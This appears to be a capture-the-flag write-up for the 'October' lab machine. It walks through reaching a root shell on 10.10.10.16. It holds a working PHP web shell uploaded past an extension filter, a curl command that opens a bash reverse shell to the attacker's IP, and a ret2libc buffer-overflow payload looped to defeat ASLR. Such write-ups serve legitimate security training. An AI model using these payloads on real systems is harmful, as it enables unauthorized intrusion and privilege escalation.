October

In this machine we exploit OctoberCMS with default credentials and a file upload that bypasses an extension check. For privilege escalation we perform a buffer overflow with a technique called ret2libc, with ASLR (Address Space Layout Randomization) enabled
March 27, 202410 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
> ping -c 1 10.10.10.16
PING 10.10.10.16 (10.10.10.16) 56(84) bytes of data.
64 bytes from 10.10.10.16: icmp_seq=1 ttl=63 time=37.4 ms
--- 10.10.10.16 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 37.437/37.437/37.437/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.16 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.16
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> sudo nmap -sCV -p22,80 10.10.10.16 -Pn -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
Port 80
nmap reported that port 80 is open and running a website
With whatweb we can see what we are dealing with
> whatweb http://10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]
It’s an October CMS. A Google search tells us this CMS has its login at /backend and that the default credentials are admin:admin. If we try to log in with these credentials… it works, and we are now inside the admin panel
Exploitation
In the admin panel there is a file upload section where we can try to sneak in a PHP file.

First we’ll try to upload a basic script called shell.php with the following code
<?php
system($_GET['cmd']);
?>

As expected, it fails.
It might be blocking the file based on its extension. The next step would be to try sending the file with other PHP extensions.
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
We can automate this process with Burp Suite’s Intruder.
We start by selecting which value we’re going to change, in this case the extension

Then we load a file with all the extensions, which will act as the wordlist for the brute force
> /usr/bin/cat extensions.txt
php
php2
php3
php4
php5
php6
php7
phps
phps
pht
phtm
phtml
pgif
shtml
htaccess
phar
inc
hphp
ctp
module

All that’s left is to click start attack.
What Burp Suite will do is replace the extension with each of the extensions we gave it as a wordlist, giving the following result.

Here we can see that requests trying to upload a file with a blocked extension return a 400 error, and those that did manage to upload a file return a 200
Now we can access the uploaded files at the following path
http://10.10.10.16/storage/app/media/ http://10.10.10.16/storage/app/media/shell.php5
To get access to the machine, all that’s left is to listen on port 443.
nc -nvlp 443
And send ourselves a reverse shell
curl -s -G "http://10.10.10.16/storage/app/media/shell.php5" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.38/443 0>&1'"
We’re in B)
Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
Privilege escalation
We start the escalation by looking for files with SUID permissions
find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
...
-rwsr-xr-- 1 root dip 323000 Apr 21 2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24 2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrflw
Among all the files found, one stands out: /usr/local/bin/ovrflw. To see what it is and analyze it, we’ll copy it to our attacker machine
I tried copying it to my machine with a Python HTTP server, but it didn’t work, so we’ll transfer it with base64
Target machine:
base64 ovrflw
We save the whole base64 output in a file called temp.txt on the attacker machine, then decode it and save it to a file called ovrflw
base64 -d temp.txt > ovrflw
We make it executable
chmod +x ovrflw
Now we can start analyzing it
When we run it, a message explains how to use the program
> ./ovrflw
Syntax: ./ovrflw <input string>
It tells us we need to pass an input as a parameter
./ovrflw a
But nothing shows up when we pass something.
That’s strange, so let’s see what’s going on in Ghidra
main function
undefined4 main(int param_1,undefined4 *param_2)
{
char local_74 [112];
if (param_1 < 2) {
printf("Syntax: %s <input string>\n",*param_2);
/* WARNING: Subroutine does not return */
exit(0);
}
strcpy(local_74,(char *)param_2[1]);
return 0;
}
1- First, a variable with a 112-byte buffer is declared
2- It checks whether we have provided a parameter.
3- It uses the strcpy function to store our input in the previously declared variable.
strcpy is a function you shouldn’t use, because if the input is larger than expected it causes a buffer overflow, as in this case:
> ./ovrflw $(python2 -c "print 'A'*200")
zsh: segmentation fault ./ovrflw $(python2 -c "print 'A'*200")
We get a segmentation fault, so we can try to carry out a buffer overflow
Let’s check the binary’s protections to think about how we could exploit it
> checksec ./ovrflw
[*] '/home/d3b0o/Downloads/ovrflw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
It has NX enabled, so we can’t do a buffer overflow and load shellcode on the stack because it won’t run, but what we can do is a ret2libc buffer overflow.
The first thing is to find the offset to EIP (the number of characters we need to send to overwrite EIP).
For this we’ll use gdb with the pwndbg plugin.
We create a 500-character string
msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
This string is specially designed for this purpose
We send it to pwndbg
pwndbg> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /home/d3b0o/Downloads/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
EAX 0x0
*EBX 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX 0xffffd290 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDX 0xffffcf62 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDI 0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI 0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP 0x41366441 ('Ad6A')
*ESP 0xffffcdf0 ◂— 0x39644138 ('8Ad9')
*EIP 0x64413764 ('d7Ad')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x64413764
The program obviously crashes, since we’ve overwritten EIP with an address that doesn’t exist and the program can’t continue.
The following command automatically calculates the EIP offset
> msf-pattern_offset -l 500 -q 0x64413764
[*] Exact match at offset 112
To check that it really is 112, we’ll send 112 ‘A’s followed by 4 ‘B’s. If everything worked, EIP should be 42424242, since B in hex is 42
pwndbg> r $(python2 -c "print 'A' * 112 + 'B' * 4")
Starting program: /home/d3b0o/Downloads/ovrflw $(python2 -c "print 'A' * 112 + 'B' * 4")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
EAX 0x0
*EBX 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX 0xffffd290 ◂— 'AAAAAAAAAABBBB'
*EDX 0xffffcf62 ◂— 'AAAAAAAAAABBBB'
*EDI 0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI 0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP 0x41414141 ('AAAA')
*ESP 0xffffcf70 ◂— 0x0
*EIP 0x42424242 ('BBBB')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x42424242
It works.
The next step to exploit the ret2libc is to check whether ASLR is enabled.
ASLR: Address Space Layout Randomization. This protection isn’t part of the program itself; it’s a system protection, and it’s rare to find it disabled on current systems. To see whether it’s enabled, we cat /proc/sys/kernel/randomize_va_space. If the content is 0, it’s disabled; if it isn’t 0, it’s enabled
www-data@october:/usr/local/bin$ cat /proc/sys/kernel/randomize_va_space
2
In this case it’s enabled. Another way to check would be to look at the libc address several times in a loop.
www-data@october:/usr/local/bin$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7589000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bb000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d0000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bf000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b0000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d1000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75fb000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755a000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7548000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757a000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)
We can see that it keeps changing
This will make the exploitation a bit harder.
The next step is to find the addresses of system, /bin/sh and, optionally, exit. What we’ll do is call the system function and pass it /bin/sh as a parameter to get a shell run by root
(From the target machine)
- /bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
162bac /bin/sh
- system and exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
We’ll also pick a libc base address like this one, for example 0xb75f5000
We calculate the addresses:
libc = 0xb75f5000
#SYSTEM
system = hex(libc + 0x40310)
#EXIT
exit = hex(libc + 0x33260)
#/bin/sh
sh = hex(libc + 0x162bac)
print(system, exit, sh)
> python3 bof.py
0xb7635310 0xb7628260 0xb7757bac
Now we have the 3 addresses, but we need to convert them to little endian

- System: 0xb7635310 -> \x10\x53\x63\xb7
- Exit: 0xb7628260 -> \x60\x82\x62\xb7
- /bin/sh: 0xb7757bac -> \xac\x7b\x75\xb7
The final payload would look like this
./ovrflw $(python2 -c "b'A' * 112 + b'\x10\x53\x63\xb7' + b'\x60\x82\x62\xb7' + b'\xac\x7b\x75\xb7'")
The idea is fine, but this wouldn’t work because we aren’t taking ASLR into account, since we’re assuming the libc address is 0xb75f5000
What we can do is run the script in an infinite loop, because at some point the libc library will get the address 0xb75f5000 again
while true; do /usr/local/bin/ovrflw $(python -c 'print b"A"*112 + "\x10\x53\x63\xb7" + "\x60\x82\x62\xb7" + "\xac\x7b\x75\xb7"'); done
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# whoami
root
After a while, we are root